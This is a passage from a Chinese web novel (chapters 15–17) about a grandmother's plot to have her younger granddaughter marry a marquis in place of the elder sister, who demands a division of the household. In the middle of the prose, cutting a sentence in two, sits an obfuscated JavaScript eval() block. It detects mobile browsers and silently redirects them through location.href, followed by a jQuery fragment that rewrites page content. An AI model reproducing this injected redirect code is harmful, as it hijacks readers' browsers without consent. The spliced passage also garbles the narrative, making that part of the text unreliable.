他怨气不浅,“娘这一举,真是带累了儿子!” 中秋赐婚前,万老夫人还跟儿子保证不会有失,然赐婚一过,天翻地覆。 顾扬嗣烦躁起来,有丫鬟来续茶,走到他面前手下颤了颤,他立时怒瞪了过去,这一瞪,差点把小丫鬟吓得落了手中茶壶。 万老夫人连忙把那小丫鬟遣了下去,又让儿媳梁氏,“恭容,你亲自去给他续杯茶来。” 梁氏连忙过去劝慰了丈夫,万老夫人见儿子心绪稳了稳,才好言道。 “事情虽然非娘之前所想,却未必没有挽回的余地。咱们若是能跟侯府交好,就不怕跟邵氏绑上一条船了。” 顾扬嗣挑眉,“娘糊涂了?那杜泠静怎么可能让咱们跟侯府交好?她又不是青儿。” 万老夫人不介意儿子出口不逊,反而笑了起来。 “她当然不是青儿,但陆侯夫人也未必非得是她吧。” 顾扬嗣一怔。 正这时,下人来通禀,说管嬷嬷接了表姑娘到门前了。 万老夫人让梁氏亲自过去,将杜润青迎进了门里来。 杜润青不敢劳动舅母,万老夫人却只管让她坐下,先问了身子如何,又看了大夫开的方子,见她还有些虚弱,亲自送她去了厢房里。 杜润青再没想到厢房改了模样,一应物什贵重精致起来。 她刚要说什么,却见外祖母将人都打发了下去,房中只剩下了祖孙两人。 杜润青有些不知所措,却听见外祖母跟她笑着开口道。 “廿八就是你的及笄礼,这两日安心在外祖母这里好好养着,等及笄那日,外祖母好生给你办上一场。” 姐姐和侯爷的婚事当头,杜润青都快把自己及笄的事情忘了。 她低着头说算了吧,“外祖母别为孙女操心,只在家中插了簪就是了。” “那怎么能行?及笄后你就是可以嫁人的大姑娘了,怎能草率?” 万老夫人不认可,但杜润青却一点嫁人的心思都没有,她的头越发低了,“孙女不想嫁人... ...” 但这话一出口,她就见着万老夫人挑了眉。 “你才跟你大姐住了几日,怎么就学着她那般离经叛道起来?” 语气颇有几分严肃,杜润青立时闭上了嘴巴。 她见外祖母正肃了神色瞧了她,“我素来是怎么教你的?生为女子,在世间最是不易,若不聪明些,更是行路难。你说,做个聪明的女子当如何?” 她问了过来,杜润青哪敢不答,连忙道。 “当、当贞矜柔顺,顺势而为。” 见她答了上来,万老夫人目露几分满意之色。 “正是。这世道是男人的世道,我们能做的,便是依附在男人身边,聪明地审时度势,将自己的日子过好。” 她缓声道,“似你大姐那样,读了些书就跋扈起来,不顾旁人,恣意妄为,最是要不得。” 万老夫人说到此处,哼着叹了一声。 “其实这错也不全然怪她,是她这名字本身就起错了。女人到世间要兴旺家族,洽和门庭,她父亲却给她取了这么个名字。” 泠泠七弦上,静听松风寒。 泠静。 “听听这名,只顾独身静逸,这是女子该有的名字?若她后半生还想安顺喜乐,以我之见,应先改个名字。” 杜润青忽的想起舅母梁氏进门之后,外祖母就给她改了名。 原本舅母闺名是何,她不记得了,但外祖母给她另取“恭”、“容”二字,之后,舅母便只叫梁氏恭容。 后一度,外祖母觉得自己这名字颇为男相,不够娇柔喜乐,但一时没顾上给她改名。 这会,她不敢说话,只听外祖母道,“名字最是影响人一辈子,她那名字实实在在是错了,往后的日子也过不好。” 杜润青有些迷惑。 “可是 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她讶然,不等她回神,一众达官贵人已纷纷给她让出道路。 马车经过人群之时,她禁不住往那侯爷处身地看去。 那日,他穿了件鸦青色暗纹锦袍,他负手立在街边,身形极其高峻,他越过众人向她看过来,似是极淡地笑了笑,跟她颔了颔首。 她心口砰得一下重重跳了一跳。 待她匆促请了大夫,又让小厮带着大夫先往家中去,她则回到了方才那处。 男人已同一众官员进了一旁的酒楼中,只余两个侍卫守在门前。 她攥着手帕上前,“杜氏润青前来跟侯爷道谢。” 侍卫闻言往楼上去了一趟,不时去而复返。 侯爷没见她,倒不奇怪,她听侍卫道。 “侯爷说,今日本就是众人占了街道,合该让路,姑娘不必道谢。” 她低头应声,以为侯爷也就这句话了,不想侍卫又开了口。 “侯爷还吩咐说,青州杜氏诗礼传家,满门清流,日后姑娘若有难处,只管来侯府寻助,侯府必会帮衬。” 彼时那话已超出了客气的范畴,她讶然不已。 后过了两月,她给母亲买药时,有一味稀罕药材短缺,连跑了好几家店都道没货,须得等数月才能调来。 她只怕耽误了母亲病情,焦虑之际,莫名就想到了侯爷那话。照理,她不该以为真,但心里莫名地就觉得,侯爷是她可以依靠的人。 她让人拿着帖子去了侯府,万万没想到,原本说月余才能调来的药材,第二日就送到了杜家门上! 她见自己的心思早瞒不过外祖母,便干脆都跟外祖母说了来。 “... ...不仅药材送到了,竟还是侯府垫了钱。” 万老夫人虽猜中了外孙女的心思,却没想到还有这么一宗事。 她眉目都慈和起来,“那你没按照礼数,去跟侯爷道谢?” “孙女哪敢缺礼,是亲自上门的。只是年初边关起了战事,侯爷出京并未见到。”她手下轻轻攥了攥,“但孙女要把钱还给侯府,侯府管事却说侯爷吩咐过,这笔钱不必杜家还,也让我不必放在心上。” 小姑娘说到这里,原本满是病容的脸上,泛起红晕来。 万老夫人却不由地笑了起来,眸色越发慈爱地看着外孙女。 “原来侯爷同青儿,结缘在前了,真真是好事。” 小姑娘心头跳了起来,但恍惚想到什么,又忽觉心头一空,这份空荡令她喉头发涩。 “可侯爷... ...已是姐姐的夫婿了。” 可她外祖母却挑眉,“是吗?你大姐如何说这门婚事?” 杜润青有些不明白外祖母的意思,不过她念及大姐早间的话,原本复述给了外祖母。 万老夫人一听就笑了起来,“瞧瞧,你大姐竟看不上呢。” “可就算如此,圣旨赐婚,大姐必然要嫁侯爷的。” 但她这话引得外祖母更笑了。 “谁说的?彼时那递去宗人府的本子,是我指点你父亲写的。若我没记错的话,当时上面写的不是杜致礼的独女,而是你祖父杜一敬的孙女。” 万老夫人当时就留了这么一线,心里想的是,说不定能有机缘,将自己外孙女嫁给探花郎邵伯举。 谁知邵伯举不成了,竟替换了永定侯! 她看住了外孙女杜润青。 “你祖父可不止有她一个亲孙女,而你,我的儿,过了这个月廿八,可不就及笄能嫁人了?你说巧不巧,恰就合得上宫里这道赐婚圣旨。” 话音落地,房中静谧无声。 杜润青只能听见自己的心跳,砰然如擂鼓。 16.第 16 章 黄华坊顾府。 杜润青只觉自己心跳如擂鼓。 “可是,可是圣旨之下替嫁真的成吗?”小姑娘再没想过这种可能。 万老夫人却拍了她的手。 “你这孩子,难不成忘了外祖母是什么人?” 杜润青愣着看去。 她外祖母万老夫人,是被人称道的京门月老。 此刻这位“月老”教给她外孙女。 “高门联姻,结的从不是两情相悦,而是两姓之好。圣旨赐婚,除非是给公主郡王,不然都只道姓而不指名,至于到底是哪两人婚配,全看两家的意思。” 可杜润青又问,“那侯爷也是默认姐姐的,还见过姐姐了。” 万老夫人笑着摇头,“你忘了侯爷同你说的话?他说杜家是诗礼传家,满门清流,所以才给你让行,愿意出手相帮。侯爷这等人物,看重的当然只会是门庭。只是你大姐恰及笄了而已。可你觉得,侯爷会中意你大姐?” 她连问,“你大姐是有贵女的矜持柔润之气,还是对侯爷一心一意?” 杜润青摇了头,只听她外祖母道。 “你比你大姐强百倍。你嫁了侯爷之后,只要时常提及你那阁老伯父,在士林中帮衬些贫寒学子,往后京中只会记得你是你伯父的侄女,而忘了她杜泠静是阁老女儿。” 取而代之吗? 杜润青见外祖母心中已有了安排,“还有侯爷处,你虽心悦侯爷,却也不可独占。出身低贱的侍妾,替侯爷多纳几个无妨,正显得你大度。” 纳妾?小姑娘心里有种说不清的滋味。 万老夫人见外孙女有些发懵,晓得她年纪太小,一时听不得太多。 她也不再继续说,笑着揽了她在怀里,“好了,旁的事情往后说不迟,你当下要务是好生养好身体,要及笄,要成婚,那件是不要紧?等你养好了,便也该是侯夫人了。” 万老夫人说完,让她好生歇着,出了房门去。 房中只剩下杜润青一人恍惚坐在床边。 她真要嫁给侯爷了?真的吗? 可是姐姐那边,会答应吗? ... ... 杜泠静如何态度,万老夫人并不着急,她先让人把女婿杜致祁请了过来。 杜致祁原本还不愿意出门。距离下月初六的大婚没几日了,他眼下最害怕的,就是侄女一错眼的工夫,就给他兜头一棒难题。 他只想在家看紧了侄女,盯着她初六上花轿。 但这样好的亲事,旁人求都求不来,可他同侄女闹到如此地步,指望着沾光是沾不上了。 然而杜家又成了侯府姻亲,一旦慧王没能成事,杜家第一个跟着倒霉。 才几日的工夫,他嘴角起了一圈泡,眼下想想先前在偏僻处做官,虽被卡着升不上去,倒也每日都是些吃茶作诗的闲安日子... ... 然而顾扬嗣奉万老夫人的命令,亲自来请了他。 杜致祁万般无奈只能去了。 他到了顾家,岳母就直接点到了他心上,“瞧你这一嘴的火泡,想必大姑娘嫁过去之后,你这处境越发艰难了吧?” 杜致祁心道那还能怎样,“侯府要娶,杜家能不嫁?” 谁想岳母一开口,“既这么为难,不若给侯爷换个新娘。” 万老夫人把意思跟这位姑爷说了,话说完,杜致祁惊得满身汗都冒了出来。 替嫁?!打死他都想不出来,可岳母却说得十拿九稳一般。 抛开圣旨没有点名,再抛开侯爷未必看得上他那爱闹事的侄女,他只问万老夫人。 “静娘处该如何?难道将她绑起来藏起来?万一她又闹起来怎么办?” 他眼神莫名警惕了起来,“她到底是家兄唯一的血脉,总不能,总不能... ...” 万老夫人不禁瞥了这位姑爷一眼。 “须得如此麻烦么?你只管把她叫来,问问她答不答应不就成了?” 万老夫人不得不又给这位拎不清的姑爷解释了一句。 “是她念着旧人不忘,不肯嫁给新人。她这么不愿意,会不答应吗?我们顺水推舟罢了。她若真不答应,可就是笑话了。” 杜致祁倏然恍了过来。 好似最不愿意嫁的,正就是侄女。 万老夫人由着他自己思量,此刻端起茶盅缓缓饮了两口。 那杜泠静这么不想嫁人,只要杜致祁一开口,她必然答应。 可这世间女子,哪怕是傻了疯了也照样嫁人。今次她不肯嫁探花、嫁侯爷,往后年岁越发大了,借杜致祁的手,她只能给她找个老鳏夫续弦了。 只盼她到时候才知道女子当如何行事,但这世间可没有后悔药卖。 不知彼时,这位阁老独女还剩多少清高孤傲之气? * 晚间这场雨终于在闷雷中落了下来,杜府西院顿时清凉起来。 秋霖拧了沾湿的裙摆,进屋来跟杜泠静说话,“姑娘你说怪不怪,顾家早间把二姑娘接了去,下晌不说接二夫人过去,倒是把二老爷请走了,这会还没回来。难不成留着病榻上的二夫人给咱们照看?” 秋霖说来,见姑娘嘴角微勾地笑了笑,不似前两日获知成婚在即时,双唇抿成一条线,一言不发的修书,这会则闲闲地翻过一张书页去。 “想来顾家是在商量大事,一时顾不得婶娘。” “什么大事?”秋霖奇怪。 没等杜泠静开口,阮恭传了话来,道是二老爷杜致祁回来了。 “不过二老爷说,二姑娘眼看就要及笄了,住在顾家不合适,让姑娘明日随二老爷过去,把二姑娘接回家里来。” 秋霖睁大了眼睛,“两坊就隔着一条崇文门里街,接二姑娘回家,还要这么兴师动众?” 她这话竟引得姑娘轻笑了一声,姑娘一笑,又引得在窗下避雨的雀儿,歪着脑袋朝姑娘啾啾了两声。 姑娘素来不敢碰这些小东西,怕惊着它们,此刻却不禁歪了歪头,细瞧那啾啾小雀,轻声唤了廊下的艾叶,“给它捉条虫子吧。” 艾叶应声去了,秋霖见姑娘真是有闲心,仍看着那雀儿。 “舍南舍北皆春水,但见群鸥日日来。【注】但愿咱们能赶在年前返回青州,明岁开春,勉楼里也有鸟雀鸥鹭日日飞来。” 说话间,艾叶已捏了个虫子来了,雀儿啾地一声就仰头吃进了口中。 秋霖则眨着眼睛,讶然又不解地看向姑娘。 姑娘竟觉得他们能赶在年前回青州?那么姑娘口中顾家今日在商议的大事是? 秋霖有些猜测,又不太确定。 待翌日跟着自家姑娘到了顾府,万老夫人和顾大老爷在上首正坐,自家二老爷也坐了一旁,众人只看向下首的自家姑娘,自家二老爷问了过来。 “... ...你既这般不欲嫁,我只能同你妹妹外家商议,让她代你嫁过去。静娘你可答应?” 秋霖深吸一气,顾家商量了一日的大事,可真是个大事啊! 她连忙转头看向自己姑娘,见姑娘一息犹豫都没有。 她点了头,“我答应。” 这么干脆利路地点了头,纵然杜致祁心有预计,此刻也略略惊讶。 顾扬嗣在旁,喜色爬到了眼角上,这下好了,永定侯爷成了他外甥女婿了,害怕没人找他办事? 梁氏微微皱眉看了杜泠静一眼。 而坐在最上的万老夫人,一点意外都没有。 有些人自以为聪明清醒,其实不知不觉就把自己的路越走越窄。 这样的人,尤其是女子,她可见得太多了。 她道,“大姑娘既然应了,这事可就说准了,变不得了。” 她不光得让这位杜家大姑娘答应,还得立个字据才好把这事坐实。 谁知她立字据的话还没说,却听见那位姑娘开口回了她这话。 姑娘着一身湖蓝色长裙,面若平湖,可下一息说出的话,倏然将堂中掀起波澜来。 “二妹替嫁可以,但我需得叔父先答应我一桩事。” 她微顿,目光从众人身上掠过。 “分家。” “从今日起,杜氏一门两房一分为二,两家花开各枝,互不相扰,妹妹得家高门,我送上喜礼,而我姻缘诸事,不劳叔父费心。还请叔父先行应允,你我叔侄二人立下字据,我自带回青州交由杜家族老,为此事见证。” 一如她方才点头应下毫不犹豫,此刻她亦开门见山地把话说了。 杜致祁双眼瞪大地愣在那里。 顾扬嗣眉头紧锁,梁氏亦惊奇却不敢言语。 而上首,万老夫人端着茶碗的手颤了一颤。 她不再似方才那般侧着身子用眼角打量过去,而是她自己都没留意地正了身,看向这阁老独女。 自己让青儿替嫁一事,她提前猜到了!且来之前就做好了准备,直接提出了分家。 这家一分,她就算是自立门户,在青州她自然有杜家宗族照看,还有蒋氏在旁帮衬。万老夫人原还想着给她寻个老鳏夫让她嫁过去,但两房一分家,杜泠静不光同她无关,连杜致祁都一句话说不上了。 没想到,真是没想到! 但万老夫人目光直直往她身上落去。 “大姑娘二十出头的年岁,竟敢主张与叔叔分家?真是闻所未闻。” 她说去,见杜泠静面色不变,根本不以为意,万老夫人直接道,“若是你叔父不答应呢?” 杜致祁不禁看住了侄女。 他要是不答应,她怎么可能分得成家? 然而杜泠静开了口,“若叔父不肯分,替嫁的事只能罢了。” 她不急也不躁。 万老夫人还真没见过几个似她这般沉得住气的姑娘家,“替嫁的事,是你妹妹替你分忧。怎么?难不成大姑娘想自己嫁过去?不顾念蒋家三郎了?” 她一下就捏住了杜泠静的软肋,秋霖手下都攥住了,恨不能给这老太婆一拳,但更着急看向自己姑娘。 谁知姑娘却淡淡地笑了笑,她并没有回应这话,反而起了身来。 “房中闷了些,恕杜泠静先往院中吹吹风,诸位长辈继续吃茶吧。” 她说完,带着人直接出了门去。 她一走,顾扬嗣就问想杜致祁,“你侄女这是什么意思?” 杜致祁闷着头不言语,但梁氏却见婆母万老夫人脸色变了一变。 顾扬嗣不知道她是什么意思,万老夫人却知道。 眼下替嫁之事,说起来是顺着杜泠静不想嫁人的意思,但其实最想要替嫁事成的,可是顾家和杜家二房。 若是他们还想成事,那就只有答应两房分家,不然谁也别想好。 看起来是他们捏住了杜泠静的软肋,但实际上那姑娘早看穿了他们的心思。 万老夫人多年没有过这种被人掣肘的感觉了,竟然被一个无父无母的孤女钳了胳膊。 她恼怒而烦躁起来,问去杜致祁。 “你这个做叔叔的,连侄女都管不了,真是让人笑话!” 杜致祁不回应,只低着头念了一句,“她非要分家... ...” 顾扬嗣这会明白过来了,他倒是没什么犹豫。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15122580|163533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “那就赶紧分了,往后青儿家去侯府,什么荣华富贵没有?还在乎青州那点家底?” 话是这么说,但万老夫人更觉胸口发闷了,闷得眼前打晃起来。 可他们真能和杜泠静耗下去? 一旦杜泠静成了陆侯夫人,顾家就岌岌可危了。 ... ... 顾家厅里如何气氛低闷,杜泠静不用想也知道。 但秋越来越深了,外面的风渐渐刺骨起来,也让人立不住。 秋霖问去姑娘,“万一他们不答应怎么办?” 杜泠静没有立时回话,只望了望头顶高阔秋空。 万老夫人身边的管嬷嬷突然到了身前,道是万老夫人请她回去。 待杜泠静回到厅里,她目光越过叔父,向万老夫人看了过去。 两人目光相接的瞬间,厅中似滞住一般,杜泠静眸色平缓如水,万老夫人却渐渐溃了下来。 “你叔父已经答应... ...分家。” 话音落地的瞬间,秋霖简直要跳起来,却见一贯稳重的姑娘,也在袖下默默攥紧了手。 万老夫人让人上笔墨纸砚来。而杜泠静早在昨日晚上就拟好了分家文书。 万老夫人瞧着她早早拟好的文书,脸色越发难看。 杜致祁则低头看着那文书中分割之项,目光一直晃动不已。 半晌,他忍不住问了杜泠静一句。 “你... ...只要勉楼?” 杜泠静默然点了点头。 公中的老宅、田地、铺子,以至澄清坊宅邸她都没要,只留了父亲给她置办的嫁妆,和母亲从前的嫁妆,以及几位跟随父亲与她多年的仆从。 梁氏讶然看了她一眼,顾扬嗣轻轻啧了一声,催促杜致祁,“那赶紧立字按印吧。” 倒是万老夫人幽幽点了杜致祁一句。 “勉楼才是杜家价值千金之物,纵不要书册,那刊印之社也该归到你名下才是。” 勉楼之所以能屹立不倒,不光有杜家财力支撑,还有刊印发行的印社,为勉楼源源不断地供给购置维护之资。 万老夫人一提这话,秋霖已忍不住要与她吵起来了。 杜氏印社能有今日,其中七成都是姑娘之功,万老夫人竟然要印社分去二老爷名下。 没了印社,只余勉楼,姑娘怎么可能守得住? 杜泠静也不禁皱了眉,她可以什么都不要,但她要遵祖父与父亲遗志,将勉楼不分不散地撑下去。 万老夫人捏住这要出,才觉心口松快了点,她又点了杜致祁,“你可要想好了。” 谁知杜致祁摇了摇头。 “要走印社,勉楼就要散了。” 他看向杜泠静,低声,“你拿走吧。” 杜泠静怔了一怔。 万老夫人则一口气没上来。 “姑爷懵了不成?” 这等关键时刻,他竟又犯了脑子拎不清的毛病!难怪做官怎么都做不上去! 但杜致祁却只摇头,沉默地接着拿起笔来在分家文书上签字按了手印。 杜泠静亦如是。 不过须臾,杜氏两房分家落定。 平静而迅速地,连杜泠静自己都没想到。 杜致祁只跟她说了两句话。 “你回青州后,另写一分文书烧给祖父和你父亲,这家是你要分的,不是我。还有,”他看了杜泠静一眼,“你好自为之吧。” 杜泠静点头应了一声,看向那分家的文书,也有些莫名的恍惚之感。 父亲生前觉得自己没有如旁人兄弟一样,尽力托举叔父做官,心有亏欠,每每置产置业都想着替叔父也置办一份,还跟她说。 “盼你叔叔别跟我生气才好,往后老了致仕还乡,还是要跟他一处的。” 可如今父亲身后六年,她就把家跟叔父分了。 但这家分了,叔父就再也不能管她的事,而那位万老夫人,她缓缓看向上首,见那老夫人脸色隐隐泛着青,她心下一定。 亦再无可能插手她的婚事了! 杜泠静走出顾家门去,只觉得天高地阔。 菖蒲跳着上前跟她道喜,“恭喜姑娘自立门户!还摆脱联姻!” 他又问,“姑娘今儿气运高昂,要不要小的跑腿,去千兴坊赌,不不不,博一博/采?” 杜泠静还没回应,阮恭一脚将她踹到了路边去。 “你小子皮痒了是吧?要不要我把你押上去博一博?看有没有哪位郎君喜欢你这样的!” “啊——别别,恭爷饶我!” 杜泠静同秋霖、艾叶皆忍不住笑了起来,艾叶还啐了她这孪生胞兄,“活该!” 杜泠静的兴致确实扬了起来,“没了旁的产业,咱们先紧衣缩食三年,给三郎购置宋本的事,这三年恐是顾不上了,”她低柔了嗓音,“他别不乐就好。” 秋霖连道三爷怎么会,“姑娘为了回家,前后想了多少办法?这下可好了。” 但她又道,“不过二姑娘才刚及笄就嫁人,真的愿意?” 杜泠静笑了笑,“我想二妹是愿意的。若二妹不愿,我怎会让她代我嫁给那位侯爷。” 只是话说到尾处那个人,她脸上笑意蓦然一顿。 她手腕莫名有种被人滚烫的掌心箍着的感觉。 她心头暗跳了一下,恰秋霖小声问了一句。 “... ...侯爷那边?” 杜泠静敛了笑意,言语冷淡三分。 “权臣贵胄,伺候不来。” * 【注】此句诗出自杜甫《客至》。 17.第 17 章 大喜在即,澄清坊杜家人人红光满面,喜气洋洋。 先是八月廿九这日,二姑娘的及笄礼。 万老夫人亲自担了正宾,又请了都察院副都御使章家的大姑娘做了赞者。万老夫人为岭南刘氏和都察院副使章家,求过一道赐婚圣旨,章家极愿意给她老人家这个面子,不光大姑娘来了,还带了好几位交好的高门贵女。 杜家这场及笄礼办得堪比公侯伯府,哪怕杜家二夫人病着,杜家小爷还没从保定的书院赶到,也丝毫无损礼庆的热闹。 杜泠静虽没怎么露面,却也送了一支镶东珠的南洋翡翠簪给妹妹。 此物十分稀罕,是闽南的书商难得北上一趟,送给杜泠静的。 秋霖心疼得不行,“姑娘这礼也太重了。” 杜泠静只笑笑,“到底她是代我出嫁。” 秋霖无话可说。 及笄礼行完,日子一翻就到了九月。九月初六就是大婚之日,杜致祁原本是嫁侄女,眼下突然变成了嫁女,杯碟碗盏要求得越发精细,通通使了重金临时购置,连秋日里正盛的苏杭名菊,都一口气买了二十八盆。 他看着盆中花朵争奇斗艳,一摆手叫了仆从,“给大姑娘也送去八盆。” 下人讶然,纷纷心道二老爷不是不待见大姑娘吗?倒还急着给大姑娘送花。 莫说他们奇怪,也收了花的阮恭菖蒲几人也瞧着稀罕,“二老爷还记着咱们?” 倒是秋霖哼哼一声,“姑娘刚给二姑娘送了根南洋翡翠簪,几盆花算什么?” 她还在置气,杜泠静好笑地看了她,不过见着叔父送来的几盆苏杭菊各个开得鲜艳,花团锦簇,确有几分喜气流动其中。 她不禁走过去多看了两眼,不想一回头,看见了二妹杜润青。 小姑娘穿了一身樱桃红绣桃花的褙子,发上戴了一排粉色簪花,人立在西院门外,再不见前几日的病态,脸色都红润起来。 她也晓得那样的稀罕的礼,纵然是外祖母也没给过她。 但更紧要的不是这个,而是大姐答应替嫁,她可以嫁给侯爷了。 从前她纵然心许侯爷,却从不敢想。也只有在河边,推着河灯许出那些飘渺愿望时,才敢心口默念。 但只要再过五日,她就是侯爷的新娘! 她叫了瑞雪将章家送她的江南新茶奉了过来,她没明说到底是为什么,但向杜泠静浅行一礼。 “多谢姐姐。” 秋霖瞧见茶叶,才略略收了些哼哼不快。 杜泠静自不在意这些细碎,扶了妹妹一把。 “不必多礼。” 她跟二妹轻轻笑了笑,两家已然分家,往后妹妹嫁去侯府,她返回青州,日后恐没有几次相见之机。 她们姐妹差着年岁,缘分本就浅淡,中间又横亘诸事,还能浅言两句客套之言,便是不错了。 杜泠静眉目舒展怡然,秋风吹不起她眸中波澜,只能吹得她鬓发飘起,衣袖翻飞。 杜润青一时看住了姐姐。 她忽想起替嫁落定的那日,她还有些恍惚,问了瑞雪,“我替姐姐嫁过去,侯爷会不会不喜欢?” 瑞雪说怎会,“侯爷是见过姑娘的,彼时便对姑娘青眼有加,就算是替嫁,又怎么会不喜欢?” 那日瑞雪说得她脸颊都烫起来,铜镜映着她脸上绯红颜色。 可今日,她看住了立在风口的姐姐,心中莫名跳了一跳。 侯爷是见过她,但更是见过大姐。 那日在外院书房,侯爷还同大姐单独叙了几句,然后便说了初六就要大婚的事。 会不会... ...她看向大姐身形细挺,乌发长眉,水眸羽睫,此刻沐在秋风中,似乘风偶至又即将飘去的仙子... ... 会不会侯爷,心里其实也是中意大姐的? 就算是她做了他的新娘,他也不会忘了原本要娶的是大姐? 小姑娘咬了唇,心里有种说不出的酸酸滋味。 她不由地开了口,不知自己想说什么,却道,“侯爷送来的聘礼比寻常聘礼要多上许多,想来,最初侯爷是给姐姐的,那姐姐要不要... ...” 话音未落,大姐转头看住了她的眼睛。 “二妹想说什么?” 她一愣,没开口回答,却听见姐姐道。 “那都是你的聘礼,侯爷也是你的夫婿,旁人同这些都没关系。” 那管嗓音淡淡的,却直点到了她心上,“妹妹确实应该少思少虑,守心正念。” 杜泠静说完,最后看了妹妹一眼,转身回房中去了。 门外一时无人,瑞雪忍不住道了句,“大姑娘跟姑娘说话,怎地这般不客气?姑娘眼看着就要做侯夫人了。” 小姑娘却没回应什么,咬唇怔了半晌,才回了神道,“我们回去吧。” ... ... 杜家要办喜事的忙碌,忙不到杜泠静的西院里面来。 她则特特叫了阮恭,问及了另外的事。 “官府和锦衣卫都去巡查了扈氏兄妹的下落,到现在还没找到?我们派出去的人手呢?” 自杜泠静得了扈氏兄妹失踪的消息,就连续三次加派人手找人,但此刻阮恭只跟她摇头。 “眼看着两个月了,一点消息都没有,似如人间蒸发了一般。” 他这么说,见姑娘皱眉,“莫要胡言。” 阮恭连道失言,“扈大爷和扈娘子他们没找到,未必就出了事,兴许是藏匿在了隐秘之地,谨慎避着这些杂乱寻找的人手。” 杜泠静的人手自是去救他们的,但旁人,尤其是邵家的势力可就未必了。 邵伯举因杀人风波被皇上撤了进宫侍读的差事,可眼下扈氏兄妹的事情没有下文,邵伯举虽不能解除嫌疑,但也不能被定罪,时间一长,反而松快了许多。 近来朝中就越发有人替他分说,离着他撇清关系不远了。 一旦邵伯举恢复昔日恩宠,杜泠静倒没什么,迟迟没有出现的扈家兄妹就境况不妙了。 她长叹一气,一边吩咐阮恭继续差人找寻,也仔细留意有没有莫名递来的消息字眼,一边将眉心捏了又捏。 “.... ...到底出了何事?” 可惜不管扈家兄妹出了何事,她都一时出不了府邸的门。 替嫁之事若想更加顺理成章,莫过于她突发急症,杜家不得已才换了新娘。 日后那位侯爷追究起来,也算有个说辞。但届时他要如何,就同她无关了。 * 积庆坊。 侯府的喜庆丝毫不逊色。 然而内院仆从们忙碌得脚不沾地,外院书房里,气氛却有些发沉。 “顾家的人,频繁出入姑娘置放嫁妆的宅院?”男人嗓音略抬了抬,叫了崇平,“你仔细禀来。” 崇平上前。 他说杜家因着二夫人卧榻的缘故,在同坊相邻的胡同里临时典了一处小宅,专门用来放置姑娘出嫁的嫁妆。 这嫁妆原本就安置好了,约莫六十四抬,当然是原本为了大姑娘嫁邵伯举准备的。显然圣旨赐婚姑娘和侯爷,侯爷下的聘礼贵重繁多,杜家的嫁妆也不得不多置办了些,到了七十二抬。 到底杜致祁是嫁侄女不是嫁女儿,能凑上七十二抬就算说得过去。 谁想前两日杜致祁忽的又往上加了十六台,竟然要凑八十八抬。 但嫁妆箱子置办了,东西却未见购置。 崇平听说之后就觉奇怪,让人盯了那院子三天。谁料却见每每到了夜深人静的时候,杜家没来人,顾家却来人了。 “... ...他们专挑了深夜无人时,贿赂了夜巡的官兵,从万老夫人的陪嫁小宅里,抬了东西往那嫁妆院子里去,此事行得极为隐秘,看样子不想让外人知晓。” 崇平说去,又补了一句,“前两日都是万老夫人身边的管事带人去的,昨日万老夫人的独子顾大老爷突然去了一趟,也办了些物什进去,但后来又抬出来一些,颇为古怪。” 崇平今晚也安排了人手盯着,但这会先禀告了侯爷。 他见侯爷脸色沉了几分,忽的转头叫崇安进来。 “姑娘这几日如何?” 崇安见侯爷同自己哥哥都面色微沉,他也不免紧张起来,但大姑娘那边没什么异常。 他不禁道,“属下见阮恭、菖蒲他们这几日,也都忙乎着喜事,不见因何犯愁。且属下见姑娘身边的小丫鬟艾叶,还往外城的花市上买了两把新花壶,道是姑娘进来每日为花浇水,用着趁手些。” 这话一出,崇安就见他哥皱了皱眉,他不知哥皱眉做什么,却听侯爷问来。 “你确定她每日亲手浇花,不是旁人?” 崇安确定是杜家大姑娘,因为那小丫鬟艾叶买花壶的时候,让店主专门挑了轻的来,还说,“我们姑娘是提笔写字的手,每日写字都够累了,浇花不能再累着。” 崇安将这话原原本本说给了侯爷,“听说是杜二老爷给姑娘送的八盆名菊,姑娘颇有兴致。” 谁料侯爷脸色却沉了下去,突然吩咐了他。 “取我的夜行衣来。” * 夜深了,京中的酒楼茶馆陆陆续续地送走了最后的宾客,城中除了更夫便是巡防的卫兵。 陆慎如从北面进了澄清坊,当先就路过了杜家置放嫁妆的临时宅院。 他只略略一站,就见一行十来人,抬着东西进了那宅子里。 崇平耳语,“侯爷,都是顾家的人。” 顾家的人跟大姑娘杜泠静可没关系,有什么必要往她的嫁妆箱子里添东西? 男人唇下绷着,稍稍闪身就进到了院中。 这些顾家的人在院外猫着,在院内倒也不出什么声,只一味往嫁妆箱子里放置东西。 陆慎如看了崇平一眼,崇平意会,当即手下一弹,弹到了一个小厮怀中抱着的一对瓷瓶上。 瓷瓶咚得响了一声,静谧的夜中异常刺耳。 那当头的管事顿时一眼瞪了过来,那小厮当即苦了脸,“我没碰着呀?” 话音没落,那管事眼睛更瞪过去,小厮吓得不敢出声,不想脚下忽的又被什么打了一下,他本就紧张,这下差点摔倒。 那管事再看不下去了,一步上前接过瓷瓶先就近放去了箱笼里,接着一脚将那小厮踹在地上,小厮一声不敢吭。 管事却压着嗓音道,“这些都是老夫人库房取出来的,给二姑娘备的嫁妆,可是要带进侯府里去的,谁要是出了纰漏,别怪我告到老夫人面前,一顿板子少不了!” 众人皆战战兢兢大气都不敢喘。 然而墙角的阴影处,崇安也紧紧捂住了自己的嘴巴。 他不可思议地目光从顾家的人身上掠过,看到他哥,最后看到了侯爷身上—— 顾家的万老夫人,竟然敢偷换侯爷的新娘?! 竟敢把大姑娘换成二姑娘?! 漆黑的墙角暗处,只有上面缺了一角的瓦片缝隙里,一道惨白的月光落下,恰就落在了侯爷的唇角。 崇安见侯爷唇角微微扬了起来,缓缓点了点头。 “顾家... ...好的很。” 话音落地的瞬间,崇安后背的脊骨紧了一紧,但再转头看去,侯爷竟消失在了夜色中。 澄清坊杜家还挑灯忙碌着接下来的喜事,正院进出总还有人,倒是西侧院人静了许多。 陆慎如看向庭院廊下的八盆菊花。 每日都为这些菊花浇水,这么有兴致。姐妹互换的事... ...她也有份吧? 男人抿了唇,默然从廊下转了过去。 